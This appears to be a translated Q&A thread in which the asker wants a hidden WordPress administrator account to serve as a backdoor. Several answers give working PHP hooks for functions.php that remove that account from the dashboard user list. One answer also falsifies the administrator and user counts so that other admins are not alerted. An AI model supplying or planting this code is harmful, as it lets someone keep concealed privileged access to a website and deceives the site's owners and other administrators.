从 WordPress 用户列表中隐藏特定的管理员帐户

问题描述 投票:0回答:5

我想在 WordPress 中创建一个管理员用户,然后将其从 WordPress 仪表板的用户列表中隐藏,作为一种隐藏的后门。我并不是想隐藏所有管理员,只是隐藏一个特定的管理员。

非常感谢任何帮助。

wordpress hide admin
5个回答
16
投票

您可以使用

functions.php
中的自定义函数来执行此操作。 这是一个例子:

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

或者您可以使用插件来实现此目的; http://wordpress.org/plugins/user-role-editor/


15
投票

结合“angezanetti”的答案、“Natalia”的问题以及“user3474007”对Natalia的响应,此代码将对所有其他用户(包括管理员)隐藏该用户。

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'provideUserNameHere') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'provideUserNameHere'",$user_search->query_where);
  }
}

14
投票

angezanetti 有一个非常好的解决方案,但即使当 hiddenuser 从管理员列表中隐藏时,显示的管理员总数仍然不变,这可能会引起某些人的怀疑。 我通过 Symbolwdd 获取了代码,并添加了正确显示的管理员数量的行:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

2
投票

我知道,这是一个老话题,但今天有人给我发了这个链接..

一项更新:钩子不再是

pre_user_query
而是
wp_user_query

此外,通过这种方法,您可以仅对这个特定的管理员帐户隐藏您的帐户。不是全部。如果稍后添加另一个管理员怎么办?

我要做的就是对任何人隐藏“秘密”帐户,除了他们自己(以便能够编辑它)。


2
投票

@娜塔莉亚- 如果您想阻止所有其他管理员查看您的帐户,只需更改

if ($username == '<USERNAME OF OTHER ADMIN>') { 

if ($username != '<YOUR USERNAME>') { 

通过这种方式,您可以向除您自己之外的所有其他帐户隐藏您的帐户。

© www.soinside.com 2019 - 2024. All rights reserved.